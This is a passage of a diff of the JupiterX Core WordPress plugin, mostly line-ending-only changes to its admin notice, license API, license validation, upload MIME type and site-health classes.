+
+	/**
+	 * Clear transients.
+	 *
+	 * @since 1.18.0
+	 */
+	public function clear_transients() {
+		delete_transient( self::LAST_CHECKED_TRANSIENT_KEY );
+		delete_transient( self::UPDATES_TRANSIENT_KEY );
+	}
+}
+
+new JupiterX_Core_Auto_Updates();
--- a/jupiterx-core/includes/admin/class-notices.php
+++ b/jupiterx-core/includes/admin/class-notices.php
@@ -1,55 +1,55 @@
-<?php
-/**
- * This class handles admin notices.
- *
- * @package JupiterX_CoreAdmin
- *
- * @since 1.18.0
- */
-
-/**
- * Handle admin notices.
- *
- * @package JupiterX_CoreAdmin
- *
- * @since 1.18.0
- */
-class JupiterX_Core_Admin_Notices {
-
-	/**
-	 * Constructor.
-	 *
-	 * @since 1.18.0
-	 */
-	public function __construct() {
-		add_filter( 'jet-dashboard/js-page-config', [ $this, 'remove_croco_license_notice' ], 10, 1 );
-	}
-
-	/**
-	 * Remove Croco notice.
-	 *
-	 * @param $notices
-	 * @return void|array
-	 * @since 1.20.0
-	 */
-	public function remove_croco_license_notice( $notices ) {
-		if ( empty( $notices['noticeList'] ) ) {
-			return $notices;
-		}
-
-		foreach ( $notices['noticeList'] as $key => $notice ) {
-			if ( empty( $notice['id'] ) || '30days-to-license-expire' !== $notice['id'] ) {
-				continue;
-			}
-
-			unset( $notices['noticeList'][ $key ] );
-		}
-
-		// Reindex array after unset
-		$notices['noticeList'] = array_values( $notices['noticeList'] );
-
-		return $notices;
-	}
-}
-
-new JupiterX_Core_Admin_Notices();
+<?php
+/**
+ * This class handles admin notices.
+ *
+ * @package JupiterX_CoreAdmin
+ *
+ * @since 1.18.0
+ */
+
+/**
+ * Handle admin notices.
+ *
+ * @package JupiterX_CoreAdmin
+ *
+ * @since 1.18.0
+ */
+class JupiterX_Core_Admin_Notices {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 1.18.0
+	 */
+	public function __construct() {
+		add_filter( 'jet-dashboard/js-page-config', [ $this, 'remove_croco_license_notice' ], 10, 1 );
+	}
+
+	/**
+	 * Remove Croco notice.
+	 *
+	 * @param $notices
+	 * @return void|array
+	 * @since 1.20.0
+	 */
+	public function remove_croco_license_notice( $notices ) {
+		if ( empty( $notices['noticeList'] ) ) {
+			return $notices;
+		}
+
+		foreach ( $notices['noticeList'] as $key => $notice ) {
+			if ( empty( $notice['id'] ) || '30days-to-license-expire' !== $notice['id'] ) {
+				continue;
+			}
+
+			unset( $notices['noticeList'][ $key ] );
+		}
+
+		// Reindex array after unset
+		$notices['noticeList'] = array_values( $notices['noticeList'] );
+
+		return $notices;
+	}
+}
+
+new JupiterX_Core_Admin_Notices();
--- a/jupiterx-core/includes/admin/license/class-api-license.php
+++ b/jupiterx-core/includes/admin/license/class-api-license.php
@@ -1,116 +1,116 @@
-<?php
-/**
- * API License.
- *
- * @package JupiterX_CoreAdminLicense
- *
- * @since 4.10.1
- */
-class JupiterX_Core_API_License {
-
-	private static $instance        = null;
-	const ENVATO_ITEM_ID            = '5177775';
-	const PURCHASE_CODE_OPTION_NAME = 'envato_purchase_code_' . self::ENVATO_ITEM_ID;
-	const ACCESS_TOKEN_OPTION_NAME  = 'api_access_token';
-	const API_KEY_OPTION_NAME       = 'api_key';
-	const EMAIL_OPTION_NAME         = 'api_email';
-	const EXPIRY_OPTION_NAME        = 'api_expiry';
-
-	/**
-	 * Get instance.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @return JupiterX_Core_API_License
-	 */
-	public static function get_instance() {
-		if ( null === self::$instance ) {
-			self::$instance = new self();
-		}
-
-		return self::$instance;
-	}
-
-	/**
-	 * Constructor.
-	 *
-	 * @since 4.10.1
-	 */
-	public function __construct() {
-		add_action( 'rest_api_init', [ $this, 'register_routes' ] );
-	}
-
-	/**
-	 * Register routes.
-	 *
-	 * @since 4.10.1
-	 */
-	public function register_routes() {
-		register_rest_route( 'jupiterx-license', 'deactivate', [
-			'methods' => 'POST',
-			'callback' => [ $this, 'remote_deactivate' ],
-			'permission_callback' => '__return_true',
-		] );
-	}
-
-	/**
-	 * Remote deactivate.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @param object $request Request.
-	 *
-	 * @return WP_REST_Response
-	 */
-	public function remote_deactivate( $request ) {
-		$site_key     = $request->get_param( 'site_key' );
-		$access_token = $request->get_param( 'access_token' );
-
-		if ( empty( $site_key ) || empty( $access_token ) ) {
-			return new WP_REST_Response( [ 'message' => __( 'Invalid request.', 'jupiterx-core' ) ], 400 );
-		}
-
-		if ( $this->get_option( self::API_KEY_OPTION_NAME ) === $site_key && $this->get_option( self::ACCESS_TOKEN_OPTION_NAME ) === $access_token ) {
-			$this->remove_option( self::PURCHASE_CODE_OPTION_NAME );
-			$this->remove_option( self::ACCESS_TOKEN_OPTION_NAME );
-			$this->remove_option( self::API_KEY_OPTION_NAME );
-			$this->remove_option( self::EMAIL_OPTION_NAME );
-			$this->remove_option( self::EXPIRY_OPTION_NAME );
-
-			return new WP_REST_Response( [ 'message' => __( 'License deactivated', 'jupiterx-core' ) ], 200 );
-		}
-
-		return new WP_REST_Response( [ 'message' => __( 'Invalid request.', 'jupiterx-core' ) ], 400 );
-	}
-
-	/**
-	 * Get option value.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @param string $name Option name.
-	 *
-	 * @return string Option value.
-	 */
-	private function get_option( $name ) {
-		return jupiterx_get_option( $name, false );
-	}
-
-	/**
-	 * Remove option value.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @param string $name Option name.
-	 *
-	 * @return boolean Remove status.
-	 */
-	private function remove_option( $name ) {
-		if ( $this->get_option( $name ) ) {
-			return jupiterx_delete_option( $name );
-		}
-		return true;
-	}
-}
-
-JupiterX_Core_API_License::get_instance();
+<?php
+/**
+ * API License.
+ *
+ * @package JupiterX_CoreAdminLicense
+ *
+ * @since 4.10.1
+ */
+class JupiterX_Core_API_License {
+
+	private static $instance        = null;
+	const ENVATO_ITEM_ID            = '5177775';
+	const PURCHASE_CODE_OPTION_NAME = 'envato_purchase_code_' . self::ENVATO_ITEM_ID;
+	const ACCESS_TOKEN_OPTION_NAME  = 'api_access_token';
+	const API_KEY_OPTION_NAME       = 'api_key';
+	const EMAIL_OPTION_NAME         = 'api_email';
+	const EXPIRY_OPTION_NAME        = 'api_expiry';
+
+	/**
+	 * Get instance.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @return JupiterX_Core_API_License
+	 */
+	public static function get_instance() {
+		if ( null === self::$instance ) {
+			self::$instance = new self();
+		}
+
+		return self::$instance;
+	}
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.10.1
+	 */
+	public function __construct() {
+		add_action( 'rest_api_init', [ $this, 'register_routes' ] );
+	}
+
+	/**
+	 * Register routes.
+	 *
+	 * @since 4.10.1
+	 */
+	public function register_routes() {
+		register_rest_route( 'jupiterx-license', 'deactivate', [
+			'methods' => 'POST',
+			'callback' => [ $this, 'remote_deactivate' ],
+			'permission_callback' => '__return_true',
+		] );
+	}
+
+	/**
+	 * Remote deactivate.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @param object $request Request.
+	 *
+	 * @return WP_REST_Response
+	 */
+	public function remote_deactivate( $request ) {
+		$site_key     = $request->get_param( 'site_key' );
+		$access_token = $request->get_param( 'access_token' );
+
+		if ( empty( $site_key ) || empty( $access_token ) ) {
+			return new WP_REST_Response( [ 'message' => __( 'Invalid request.', 'jupiterx-core' ) ], 400 );
+		}
+
+		if ( $this->get_option( self::API_KEY_OPTION_NAME ) === $site_key && $this->get_option( self::ACCESS_TOKEN_OPTION_NAME ) === $access_token ) {
+			$this->remove_option( self::PURCHASE_CODE_OPTION_NAME );
+			$this->remove_option( self::ACCESS_TOKEN_OPTION_NAME );
+			$this->remove_option( self::API_KEY_OPTION_NAME );
+			$this->remove_option( self::EMAIL_OPTION_NAME );
+			$this->remove_option( self::EXPIRY_OPTION_NAME );
+
+			return new WP_REST_Response( [ 'message' => __( 'License deactivated', 'jupiterx-core' ) ], 200 );
+		}
+
+		return new WP_REST_Response( [ 'message' => __( 'Invalid request.', 'jupiterx-core' ) ], 400 );
+	}
+
+	/**
+	 * Get option value.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @param string $name Option name.
+	 *
+	 * @return string Option value.
+	 */
+	private function get_option( $name ) {
+		return jupiterx_get_option( $name, false );
+	}
+
+	/**
+	 * Remove option value.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @param string $name Option name.
+	 *
+	 * @return boolean Remove status.
+	 */
+	private function remove_option( $name ) {
+		if ( $this->get_option( $name ) ) {
+			return jupiterx_delete_option( $name );
+		}
+		return true;
+	}
+}
+
+JupiterX_Core_API_License::get_instance();
--- a/jupiterx-core/includes/admin/license/class-event-license.php
+++ b/jupiterx-core/includes/admin/license/class-event-license.php
@@ -1,208 +1,208 @@
-<?php
-/**
- * The file class that handles events of license.
- *
- * @package JupiterX_CoreAdminLicense
- *
- * @since 4.10.1
- */
-
-class JupiterX_Core_Event_License {
-
-	const ARTBEES_THEMES_API                          = 'https://my.artbees.net/wp-json/artbees_license';
-	const ENVATO_ITEM_ID                              = '5177775';
-	const PURCHASE_CODE_OPTION_NAME                   = 'envato_purchase_code_' . self::ENVATO_ITEM_ID;
-	const ACCESS_TOKEN_OPTION_NAME                    = 'api_access_token';
-	const API_KEY_OPTION_NAME                         = 'api_key';
-	const EMAIL_OPTION_NAME                           = 'api_email';
-	const EXPIRY_OPTION_NAME                          = 'api_expiry';
-	const IS_REGISTERED_ON_ANOTHER_DOMAIN_OPTION_NAME = 'is_registered_on_another_domain';
-
-	/**
-	 * Class instance.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @var JupiterX_Core_Event_License Class instance.
-	 */
-	private static $instance = null;
-
-	/**
-	 * Get a class instance.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @return JupiterX_Core_Event_License Class instance.
-	 */
-	public static function get_instance() {
-		if ( null === self::$instance ) {
-			self::$instance = new self();
-		}
-
-		return self::$instance;
-	}
-
-	/**
-	 * Class constructor.
-	 *
-	 * @since 4.10.1
-	 */
-	public function __construct() {
-		add_action( 'jupiterx_license_checks', [ $this, 'validate_license' ] );
-	}
-
-	/**
-	 * Validate license.
-	 *
-	 * @since 4.10.1
-	 */
-	public function validate_license() {
-		if ( ! $this->has_api_key() || ! $this->has_access_token() ) {
-			return;
-		}
-
-		$result = wp_remote_post( static::ARTBEES_THEMES_API . '/validate_license', [
-			'body' => [
-				'api_key' => $this->get_option( self::API_KEY_OPTION_NAME ),
-				'domain' => $this->get_domain(),
-			],
-		]);
-
-		if ( is_wp_error( $result ) ) {
-			return;
-		}
-
-		$body = json_decode( wp_remote_retrieve_body( $result ) );
-
-		if ( false === $body->status ) {
-			$this->update_option( self::IS_REGISTERED_ON_ANOTHER_DOMAIN_OPTION_NAME, true );
-
-			//TODO: Remove License in next release
-		} else {
-			$this->update_option( self::IS_REGISTERED_ON_ANOTHER_DOMAIN_OPTION_NAME, false );
-		}
-	}
-
-	/**
-	 * Check API key from the database.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @return boolean API key status.
-	 */
-	private function has_api_key() {
-		return ! empty( $this->get_option( self::API_KEY_OPTION_NAME ) );
-	}
-
-	/**
-	 * Check access token from the database.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @return boolean Access token status.
-	 */
-	private function has_access_token() {
-		return ! empty( $this->get_option( self::ACCESS_TOKEN_OPTION_NAME ) );
-	}
-
-	/**
-	 * Get email.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @return string License email.
-	 */
-	private function get_email() {
-		return $this->get_option( self::EMAIL_OPTION_NAME );
-	}
-
-	/**
-	 * Get expiry.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @return string License expiry.
-	 */
-	private function get_expiry() {
-		return $this->get_option( self::EXPIRY_OPTION_NAME );
-	}
-
-	/**
-	 * Check license status.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @return boolean License status.
-	 */
-	private function is_registered() {
-		$access_token = $this->has_access_token() ? $this->has_access_token() : true;
-		$email        = ! empty( $this->get_email() ) ? $this->get_email() : true;
-		$expiry       = ! empty( $this->get_expiry() ) ? $this->get_expiry() : true;
-
-		return (
-			$this->has_api_key() &&
-			$access_token &&
-			$email &&
-			$expiry
-		);
-	}
-
-	/**
-	 * Get license details.
-	 *
-	 * @since 4.10.1
-	 */
-	public function get_details() {
-		return [
-			'is_registered'    => $this->is_registered(),
-			'has_access_token' => $this->has_access_token(),
-			'has_api_key'      => $this->has_api_key(),
-			'email'            => $this->get_email(),
-			'expiry'           => $this->get_expiry(),
-		];
-	}
-
-	/**
-	 * Update option.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @param string $name Option name.
-	 * @param mixed $value Update value.
-	 *
-	 * @return string Updated value.
-	 */
-	private function update_option( $name, $value ) {
-		return jupiterx_update_option( $name, $value );
-	}
-
-	/**
-	 * Get option value.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @return string|null Option value.
-	 */
-	private function get_option( $name ) {
-		if ( function_exists( 'jupiterx_get_option' ) ) {
-			return jupiterx_get_option( $name, false );
-		}
-
-		return null;
-	}
-
-	/**
-	 * Extract the domain (sub-domain) from URL.
-	 *
-	 * We keep this function here as we may change our approach for sending data of domain.
-	 *
-	 * @since 4.10.1
-	 *
-	 * @return string Domain name.
-	 */
-	private function get_domain() {
-		return get_site_url();
-	}
-}
-
-JupiterX_Core_Event_License::get_instance();
+<?php
+/**
+ * The file class that handles events of license.
+ *
+ * @package JupiterX_CoreAdminLicense
+ *
+ * @since 4.10.1
+ */
+
+class JupiterX_Core_Event_License {
+
+	const ARTBEES_THEMES_API                          = 'https://my.artbees.net/wp-json/artbees_license';
+	const ENVATO_ITEM_ID                              = '5177775';
+	const PURCHASE_CODE_OPTION_NAME                   = 'envato_purchase_code_' . self::ENVATO_ITEM_ID;
+	const ACCESS_TOKEN_OPTION_NAME                    = 'api_access_token';
+	const API_KEY_OPTION_NAME                         = 'api_key';
+	const EMAIL_OPTION_NAME                           = 'api_email';
+	const EXPIRY_OPTION_NAME                          = 'api_expiry';
+	const IS_REGISTERED_ON_ANOTHER_DOMAIN_OPTION_NAME = 'is_registered_on_another_domain';
+
+	/**
+	 * Class instance.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @var JupiterX_Core_Event_License Class instance.
+	 */
+	private static $instance = null;
+
+	/**
+	 * Get a class instance.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @return JupiterX_Core_Event_License Class instance.
+	 */
+	public static function get_instance() {
+		if ( null === self::$instance ) {
+			self::$instance = new self();
+		}
+
+		return self::$instance;
+	}
+
+	/**
+	 * Class constructor.
+	 *
+	 * @since 4.10.1
+	 */
+	public function __construct() {
+		add_action( 'jupiterx_license_checks', [ $this, 'validate_license' ] );
+	}
+
+	/**
+	 * Validate license.
+	 *
+	 * @since 4.10.1
+	 */
+	public function validate_license() {
+		if ( ! $this->has_api_key() || ! $this->has_access_token() ) {
+			return;
+		}
+
+		$result = wp_remote_post( static::ARTBEES_THEMES_API . '/validate_license', [
+			'body' => [
+				'api_key' => $this->get_option( self::API_KEY_OPTION_NAME ),
+				'domain' => $this->get_domain(),
+			],
+		]);
+
+		if ( is_wp_error( $result ) ) {
+			return;
+		}
+
+		$body = json_decode( wp_remote_retrieve_body( $result ) );
+
+		if ( false === $body->status ) {
+			$this->update_option( self::IS_REGISTERED_ON_ANOTHER_DOMAIN_OPTION_NAME, true );
+
+			//TODO: Remove License in next release
+		} else {
+			$this->update_option( self::IS_REGISTERED_ON_ANOTHER_DOMAIN_OPTION_NAME, false );
+		}
+	}
+
+	/**
+	 * Check API key from the database.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @return boolean API key status.
+	 */
+	private function has_api_key() {
+		return ! empty( $this->get_option( self::API_KEY_OPTION_NAME ) );
+	}
+
+	/**
+	 * Check access token from the database.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @return boolean Access token status.
+	 */
+	private function has_access_token() {
+		return ! empty( $this->get_option( self::ACCESS_TOKEN_OPTION_NAME ) );
+	}
+
+	/**
+	 * Get email.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @return string License email.
+	 */
+	private function get_email() {
+		return $this->get_option( self::EMAIL_OPTION_NAME );
+	}
+
+	/**
+	 * Get expiry.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @return string License expiry.
+	 */
+	private function get_expiry() {
+		return $this->get_option( self::EXPIRY_OPTION_NAME );
+	}
+
+	/**
+	 * Check license status.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @return boolean License status.
+	 */
+	private function is_registered() {
+		$access_token = $this->has_access_token() ? $this->has_access_token() : true;
+		$email        = ! empty( $this->get_email() ) ? $this->get_email() : true;
+		$expiry       = ! empty( $this->get_expiry() ) ? $this->get_expiry() : true;
+
+		return (
+			$this->has_api_key() &&
+			$access_token &&
+			$email &&
+			$expiry
+		);
+	}
+
+	/**
+	 * Get license details.
+	 *
+	 * @since 4.10.1
+	 */
+	public function get_details() {
+		return [
+			'is_registered'    => $this->is_registered(),
+			'has_access_token' => $this->has_access_token(),
+			'has_api_key'      => $this->has_api_key(),
+			'email'            => $this->get_email(),
+			'expiry'           => $this->get_expiry(),
+		];
+	}
+
+	/**
+	 * Update option.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @param string $name Option name.
+	 * @param mixed $value Update value.
+	 *
+	 * @return string Updated value.
+	 */
+	private function update_option( $name, $value ) {
+		return jupiterx_update_option( $name, $value );
+	}
+
+	/**
+	 * Get option value.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @return string|null Option value.
+	 */
+	private function get_option( $name ) {
+		if ( function_exists( 'jupiterx_get_option' ) ) {
+			return jupiterx_get_option( $name, false );
+		}
+
+		return null;
+	}
+
+	/**
+	 * Extract the domain (sub-domain) from URL.
+	 *
+	 * We keep this function here as we may change our approach for sending data of domain.
+	 *
+	 * @since 4.10.1
+	 *
+	 * @return string Domain name.
+	 */
+	private function get_domain() {
+		return get_site_url();
+	}
+}
+
+JupiterX_Core_Event_License::get_instance();
--- a/jupiterx-core/includes/admin/options.php
+++ b/jupiterx-core/includes/admin/options.php
@@ -1,65 +1,65 @@
-<?php
-/**
- * Add Jupiter X admin options.
- *
- * @package JupiterX_CoreAdmin
- *
- * @since 1.9.0
- */
-
-add_filter( 'upload_mimes', 'jupiterx_add_extra_mime_types' );
-
-if ( ! function_exists( 'jupiterx_add_extra_mime_types' ) ) {
-	/**
-	 * Add more mime type.
-	 *
-	 * @since 1.9.0
-	 *
-	 * @param array $mimes Current array of mime types..
-	 *
-	 * @return array Updated array of mime types.
-	 */
-	function jupiterx_add_extra_mime_types( $mimes ) {
-		if ( jupiterx_core()->check_default_settings() ) {
-			return $mimes;
-		}
-
-		if ( ! empty( jupiterx_get_option( 'svg_support' ) ) ) {
-			$mimes['svg'] = 'image/svg+xml';
-		}
-
-		$mimes['zip'] = 'application/zip';
-
-		return $mimes;
-	}
-}
-
-add_filter( 'wp_check_filetype_and_ext', 'jupiterx_fix_filetype_check', 10, 4 );
-/**
- * Fix the mime type filtering issue.
- *
- * @since 1.9.0
- *
- * @param array  $data file data.
- * @param string $file Full path to the file.
- * @param string $filename The name of the file (may differ from $file due to $file being in a tmp.
- * @param array  $mimes Key is the file extension with value as the mime type.
- * @return array Filetype data.
- *
- * @SuppressWarnings(PHPMD.UnusedFormalParameter)
- */
-function jupiterx_fix_filetype_check( $data, $file, $filename, $mimes ) {
-	if ( ! empty( $data['ext'] ) && ! empty( $data['type'] ) ) {
-		return $data;
-	}
-
-	$wp_filetype = wp_check_filetype( $filename, $mimes );
-
-	if ( 'svg' === $wp_filetype['ext'] || 'svgz' === $wp_filetype['ext'] ) {
-		$data['ext']  = $wp_filetype['ext'];
-		$data['type'] = 'image/svg+xml';
-	}
-
-	return $data;
-}
-
+<?php
+/**
+ * Add Jupiter X admin options.
+ *
+ * @package JupiterX_CoreAdmin
+ *
+ * @since 1.9.0
+ */
+
+add_filter( 'upload_mimes', 'jupiterx_add_extra_mime_types' );
+
+if ( ! function_exists( 'jupiterx_add_extra_mime_types' ) ) {
+	/**
+	 * Add more mime type.
+	 *
+	 * @since 1.9.0
+	 *
+	 * @param array $mimes Current array of mime types..
+	 *
+	 * @return array Updated array of mime types.
+	 */
+	function jupiterx_add_extra_mime_types( $mimes ) {
+		if ( jupiterx_core()->check_default_settings() ) {
+			return $mimes;
+		}
+
+		if ( ! empty( jupiterx_get_option( 'svg_support' ) ) ) {
+			$mimes['svg'] = 'image/svg+xml';
+		}
+
+		$mimes['zip'] = 'application/zip';
+
+		return $mimes;
+	}
+}
+
+add_filter( 'wp_check_filetype_and_ext', 'jupiterx_fix_filetype_check', 10, 4 );
+/**
+ * Fix the mime type filtering issue.
+ *
+ * @since 1.9.0
+ *
+ * @param array  $data file data.
+ * @param string $file Full path to the file.
+ * @param string $filename The name of the file (may differ from $file due to $file being in a tmp.
+ * @param array  $mimes Key is the file extension with value as the mime type.
+ * @return array Filetype data.
+ *
+ * @SuppressWarnings(PHPMD.UnusedFormalParameter)
+ */
+function jupiterx_fix_filetype_check( $data, $file, $filename, $mimes ) {
+	if ( ! empty( $data['ext'] ) && ! empty( $data['type'] ) ) {
+		return $data;
+	}
+
+	$wp_filetype = wp_check_filetype( $filename, $mimes );
+
+	if ( 'svg' === $wp_filetype['ext'] || 'svgz' === $wp_filetype['ext'] ) {
+		$data['ext']  = $wp_filetype['ext'];
+		$data['type'] = 'image/svg+xml';
+	}
+
+	return $data;
+}
+
--- a/jupiterx-core/includes/admin/site-health/site-health.php
+++ b/jupiterx-core/includes/admin/site-health/site-health.php
@@ -1,725 +1,725 @@
-<?php
-/**
- * Class for providing data the WordPress' Site Health debug information.
- *
- * @package JupiterX_CoreAdmin
- *
- * @since 1.18.0
- */
-
-/**
- * Site Health class.
- *
- * @since 1.18.0
- *
- * @SuppressWarnings(PHPMD.ExcessiveClassComplexity)
- */
-class JupiterX_Core_Site_Health {
-
-	/**
-	 * Site health class instance.
-	 *
-	 * @since 1.18.0
-	 *
-	 * @var JupiterX_Core_Site_Health|null
-	 */
-	private static $instance = null;
-
-	/**
-	 * Return an instance of the JupiterX_Core_Site_Health class, or create one if none exist yet.
-	 *
-	 * @since 1.18.0
-	 *
-	 * @return JupiterX_Core_Site_Health|null
-	 */
-	public static function get_instance() {
-		if ( null === self::$instance ) {
-			self::$instance = new JupiterX_Core_Site_Health();
-		}
-
-		return self::$instance;
-	}
-
-	/**
-	 * Construct class.
-	 *
-	 * @since 1.18.0
-	 */
-	public function __construct() {
-		add_action( 'wp_ajax_jupiterx_system_status', [ $this, 'system_status' ] );
-		add_filter( 'debug_information', [ $this, 'debug_information' ] );
-		add_filter( 'site_status_tests', [ $this, 'site_status_tests' ] );
-	}
-
-	/**
-	 * Get site status using WP_Site_Health class.
-	 *
-	 * @since 1.18.0
-	 *
-	 * @return void
-	 *
-	 * @SuppressWarnings(PHPMD.NPathComplexity)
-	 */
-	public function system_status() {
-		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_send_json_error( 'You do not have access to this section.', 'jupiterx-core' );
-		}
-
-		$health_check_js_variables = [
-			'site_status' => [
-				'direct' => [],
-				'async'  => [],
-				'issues' => [
-					'good'        => 0,
-					'recommended' => 0,
-					'critical'    => 0,
-				],
-			],
-		];
-
-		$issue_counts = get_transient( 'health-check-site-status-result' );
-
-		jupiterx_log(
-			'[Control Panel > Dashboard > Site Health] To get site health issues, the following data is expected to be an object.',
-			$issue_counts
-		);
-
-		if ( false !== $issue_counts ) {
-			$issue_counts = json_decode( $issue_counts );
-
-			$health_check_js_variables['site_status']['issues'] = $issue_counts;
-		}
-
-		$core_current_version = get_bloginfo( 'version' );
-
-		if ( version_compare( $core_current_version, '5.2', '<' ) ) {
-			jupiterx_log(
-				'[Control Panel > Dashboard > Site Health] To show site health issues, WordPress needs to be updated.',
-				$core_current_version
-			);
-
-			$health_check_js_variables['site_status']['direct'][] = [
-				'label'       => sprintf(
-					// translators: %s Site's current WordPress version
-					__( 'WordPress version (%s) is outdated', 'jupiterx-core' ),
-					$core_current_version
-				),
-				'status'      => 'critical',
-				'badge'       => [
-					'label' => 'Performance',
-					'color' => 'blue',
-				],
-				'actions'     => sprintf(
-					'<a href="%s">%s</a>',
-					esc_url( admin_url( 'update-core.php' ) ),
-					__( 'Update core', 'jupiterx-core' )
-				),
-				'description' => '',
-				'test'        => 'wordpress_version',
-			];
-
-			wp_send_json_success( $health_check_js_variables );
-		}
-
-		if ( ! class_exists( 'WP_Site_Health' ) ) {
-			require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
-		}
-
-		$site_health = new WP_Site_Health();
-
-		// Start running tests.
-		$tests = $site_health::get_tests();
-
-		jupiterx_log(
-			'[Control Panel > Dashboard > Site Health] To show site health issues, the following data is expected to be an array.',
-			$tests
-		);
-
-		// Don't run https test on localhost.
-		if ( 'localhost' === preg_replace( '|https?://|', '', get_site_url() ) ) {
-			unset( $tests['direct']['https_status'] );
-		}
-
-		foreach ( $tests['direct'] as $test ) {
-			if ( is_string( $test['test'] ) ) {
-				$test_function = sprintf(
-					'get_test_%s',
-					$test['test']
-				);
-
-				if ( method_exists( $site_health, $test_function ) && is_callable( [ $site_health, $test_function ] ) ) {
-					$health_check_js_variables['site_status']['direct'][] = $this->perform_test( [ $site_health, $test_function ] );
-					continue;
-				}
-			}
-
-			if ( is_callable( $test['test'] ) ) {
-				$health_check_js_variables['site_status']['direct'][] = $this->perform_test( $test['test'] );
-			}
-		}
-
-		foreach ( $tests['async'] as $test ) {
-			if ( is_string( $test['test'] ) ) {
-				$health_check_js_variables['site_status']['async'][] = [
-					'test'      => $test['test'],
-					'completed' => false,
-				];
-			}
-		}
-
-		wp_send_json_success( $health_check_js_variables );
-	}
-
-	/**
-	 * Run a Site Health test directly.
-	 *
-	 * @since 1.18.0
-	 *
-	 * @param array $callback Callback method for test.
-	 *
-	 * @return mixed|void
-	 */
-	private function perform_test( $callback ) {
-		// Borrowed filter from WP_Site_Health::perform_test().
-		return apply_filters( 'site_status_test_result', call_user_func( $callback ) );
-	}
-
-	/**
-	 * Add debug data to WP_Debug_Data class.
-	 *
-	 * @since 1.18.0
-	 *
-	 * @param array $info WP debug data for the site.
-	 *
-	 * @return array Filters debug data.
-	 *
-	 * @SuppressWarnings(PHPMD)
-	 */
-	public function debug_information( $info ) {
-		// Compose common internationalized values.
-		$value = [
-			'yes'      => __( 'Yes', 'jupiterx-core' ),
-			'no'       => __( 'No', 'jupiterx-core' ),
-			'enabled'  => __( 'Enabled', 'jupiterx-core' ),
-			'disabled' => __( 'Disabled', 'jupiterx-core' ),
-		];
-
-		// WordPress section.
-		$info['wp-core']['fields']['content_url'] = [
-			'label' => __( 'Content URL', 'jupiterx-core' ),
-			'value' => WP_CONTENT_URL,
-		];
-
-		$upload_dir = wp_get_upload_dir();
-
-		$info['wp-core']['fields']['upload_url'] = [
-			'label' => __( 'Upload URL', 'jupiterx-core' ),
-			'value' => $upload_dir['baseurl'],
-		];
-		$info['wp-core']['fields']['front_page'] = [
-			'label' => __( 'Front page display', 'jupiterx-core' ),
-			'value' => get_option( 'show_on_front' ),
-		];
-
-		// Server section.
-		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
-		$is_localhost = ( '127.0.0.1' === $_SERVER['REMOTE_ADDR'] || 'localhost' === $_SERVER['REMOTE_ADDR'] || '::1' === $_SERVER['REMOTE_ADDR'] );
-
-		$info['wp-server']['fields']['localhost'] = [
-			'label' => __( 'Is local environment?', 'jupiterx-core' ),
-			'value' => $is_localhost ? $value['yes'] : $value['no'],
-		];
-
-		$info['wp-server']['fields']['php_errors'] = [
-			'label' => __( 'PHP display errors', 'jupiterx-core' ),
-			'value' => ini_get( 'display_errors' ) ? $value['yes'] : $value['no'],
-		];
-
-		$info['wp-server']['fields']['fsockopen'] = [
-			'label' => __( 'Is fsockopen available?', 'jupiterx-core' ),
-			'value' => function_exists( 'fsockopen' ) ? $value['yes'] : $value['no'],
-		];
-
-		$info['wp-server']['fields']['php_gzopen'] = [
-			'label' => __( 'Is gzipopen available?', 'jupiterx-core' ),
-			'value' => is_callable( 'gzopen' ) ? $value['yes'] : $value['no'],
-		];
-
-		$info['wp-server']['fields']['php_xml'] = [
-			'label' => __( 'PHP XML ', 'jupiterx-core' ),
-			'value' => function_exists( 'xml_parse' ) ? $value['enabled'] : $value['disabled'],
-		];
-
-		$simplexml_loaded = class_exists( 'SimpleXMLElement' ) && function_exists( 'simplexml_load_string' );
-
-		$info['wp-server']['fields']['php_simplexml'] = [
-			'label' => __( 'SimpleXML', 'jupiterx-core' ),
-			'value' => $simplexml_loaded ? $value['enabled'] : $value['disabled'],
-		];
-
-		$mbstring_loaded = extension_loaded( 'mbstring' ) && function_exists( 'mb_eregi' ) && function_exists( 'mb_ereg_match' );
-
-		$info['wp-server']['fields']['php_mbstring'] = [
-			'label' => __( 'MBString', 'jupiterx-core' ),
-			'value' => $mbstring_loaded ? $value['enabled'] : $value['disabled'],
-		];
-
-		$info['wp-server']['fields']['php_soapclient'] = [
-			'label' => __( 'SoapClient', 'jupiterx-core' ),
-			'value' => class_exists( 'SoapClient' ) ? $value['enabled'] : $value['disabled'],
-		];
-
-		$info['wp-server']['fields']['php_domdocument'] = [
-			'label' => __( 'DOMDocument', 'jupiterx-core' ),
-			'value' => class_exists( 'DOMDocument' ) ? $value['enabled'] : $value['disabled'],
-		];
-
-		$info['wp-server']['fields']['php_ziparchive'] = [
-			'label' => __( 'ZipArchive', 'jupiterx-core' ),
-			'value' => class_exists( 'ZipArchive' ) ? $value['enabled'] : $value['disabled'],
-		];
-
